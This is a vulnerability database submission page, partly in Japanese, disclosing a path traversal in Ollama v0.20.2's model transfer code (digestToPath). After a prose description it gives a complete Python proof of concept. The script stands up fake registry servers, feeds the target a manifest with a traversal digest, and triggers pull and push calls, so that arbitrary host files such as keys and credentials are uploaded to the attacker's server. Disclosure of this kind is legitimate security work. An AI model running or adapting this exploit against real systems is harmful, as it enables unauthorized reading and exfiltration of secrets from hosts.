提出 #797576: Ollama v0.20.2 Information Disclosure情報

タイトルOllama v0.20.2 Information Disclosure
説明A Critical path traversal vulnerability exists in Ollama's tensor model transfer package. The digestToPath() function in x/imagegen/transfer/transfer.go does not validate digest strings before using them to construct file paths. An attacker who can reach the Ollama API (unauthenticated, binds x.x.x.x by default) can serve a malicious OCI manifest with a crafted digest field containing directory traversal sequences. During model pull, the exist-check in transfer/download.go uses os.Stat on the traversal path with no hash verification, if the target file exists with a matching size, the blob is accepted without download. The manifest is then written to disk with the traversal digest embedded. When the model is subsequently pushed, os.Open in transfer/upload.go follows the traversal path and uploads the target file's contents to the attacker's server. This allows reading any file accessible to the Ollama process. Confirmed against v0.20.2 (latest stable release). The Ollama API requires no authentication by default. An attacker with network access to the Ollama API can read arbitrary files from the host filesystem, including SSH keys, credentials, and application secrets. I have attached a PoC to help with validation. Just point the PoC at the Ollama instance and exfiltrate files. Tested with a 'secret.txt' in /home/user/ directory to confirm impact. ```python #!/usr/bin/env python3 # Ollama <= 0.20.2 — Arbitrary File Read via Tensor Digest Path Traversal # Usage: python3 poc.py <ollama_host:port> <file_path> <file_size> # Example: python3 poc.py 192.168.1.50:11434 /etc/hostname 8 import hashlib,json,socket,sys,threading,time,urllib.request from http.server import HTTPServer,BaseHTTPRequestHandler host,fpath,fsz=sys.argv[1],sys.argv[2],int(sys.argv[3]) s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) s.connect(("x.x.x.x",80));ip=s.getsockname()[0];s.close() tgt=f"sha256:../../../../../../../../{fpath.lstrip('/')}" cfg=b'{"architecture":"amd64","os":"linux"}' cd="sha256:"+hashlib.sha256(cfg).hexdigest() out=[] class R(BaseHTTPRequestHandler): def do_GET(s): if"/manifests/"in s.path: m=json.dumps({"schemaVersion":2,"mediaType":"application/vnd.docker.distribution.manifest.v2+json","config":{"mediaType":"application/vnd.docker.container.image.v1+json","digest":cd,"size":len(cfg)},"layers":[{"mediaType":"application/vnd.ollama.image.tensor","digest":tgt,"size":fsz}]}).encode() s.send_response(200);s.send_header("Content-Type","application/vnd.docker.distribution.manifest.v2+json");s.send_header("Content-Length",str(len(m)));s.send_header("Docker-Content-Digest","sha256:"+hashlib.sha256(m).hexdigest());s.end_headers();s.wfile.write(m);return if"/blobs/"in s.path:s.send_response(200);s.send_header("Content-Length",str(len(cfg)));s.end_headers();s.wfile.write(cfg);return s.send_response(200);s.send_header("Docker-Distribution-API-Version","registry/2.0");s.end_headers() def do_HEAD(s): if"/blobs/"in s.path:s.send_response(200);s.send_header("Content-Length",str(len(cfg)));s.end_headers();return s.send_response(404);s.end_headers() def log_message(*a):pass class X(BaseHTTPRequestHandler): def do_GET(s):s.send_response(200);s.send_header("Docker-Distribution-API-Version","registry/2.0");s.end_headers() def do_HEAD(s):s.send_response(404);s.end_headers() def do_POST(s): cl=int(s.headers.get("Content-Length",0)) if cl:s.rfile.read(cl) s.send_response(202);s.send_header("Location",f"http://{ip}:10000{s.path.rstrip('/')}/u");s.send_header("Docker-Upload-UUID","u");s.end_headers() def do_PATCH(s): cl=int(s.headers.get("Content-Length",0));d=s.rfile.read(cl)if cl else b"" if d and d.rstrip(b"\x00")!=cfg:out.append(d.rstrip(b"\x00")) s.send_response(202);s.send_header("Location",f"http://{ip}:10000{s.path}");s.send_header("Range",f"0-{max(cl-1,0)}");s.send_header("Docker-Upload-UUID","u");s.end_headers() def do_PUT(s): cl=int(s.headers.get("Content-Length",0));d=s.rfile.read(cl)if cl else b"" if"/manifests/"in s.path:s.send_response(201);s.end_headers();return if d and d.rstrip(b"\x00")!=cfg:out.append(d.rstrip(b"\x00")) s.send_response(201);s.end_headers() def log_message(*a):pass for p,h in[(9999,R),(10000,X)]:threading.Thread(target=HTTPServer(("x.x.x.x",p),h).serve_forever,daemon=True).start() time.sleep(0.5) def q(e,d,t=20): try:r=urllib.request.Request(f"http://{host}{e}",data=json.dumps(d).encode(),headers={"Content-Type":"application/json"});return urllib.request.urlopen(r,timeout=t).read().decode() except Exception as e:return str(e) m1,m2=f"http://{ip}:9999/library/p:latest",f"http://{ip}:10000/library/p:latest" r=q("/api/pull",{"model":m1,"insecure":True,"stream":False}) if"success"not in r.lower():print("[-] Pull failed");sys.exit(1) q("/api/copy",{"source":m1,"destination":m2}) q("/api/push",{"model":m2,"insecure":True,"stream":False},30) q("/api/delete",{"model":m1});q("/api/delete",{"model":m2}) if out:b=max(out,key=len);print(f"[+] {fpath} ({len(b)}b):\n{b.decode(errors='replace')}") else:print("[-] Exfil failed") ```
ユーザー
 davidrochester (UID 94063)
送信2026年04月06日 01:50 (21 日 ago)
モデレーション2026年04月25日 13:29 (19 days later)
ステータス承諾済み
VulDBエントリ359599 [Ollama 迄 0.20.2 Tensor Model Transfer transfer.go digestToPath digest ディレクトリトラバーサル]
ポイント17

Are you interested in using VulDB?

Download the whitepaper to learn more about our service!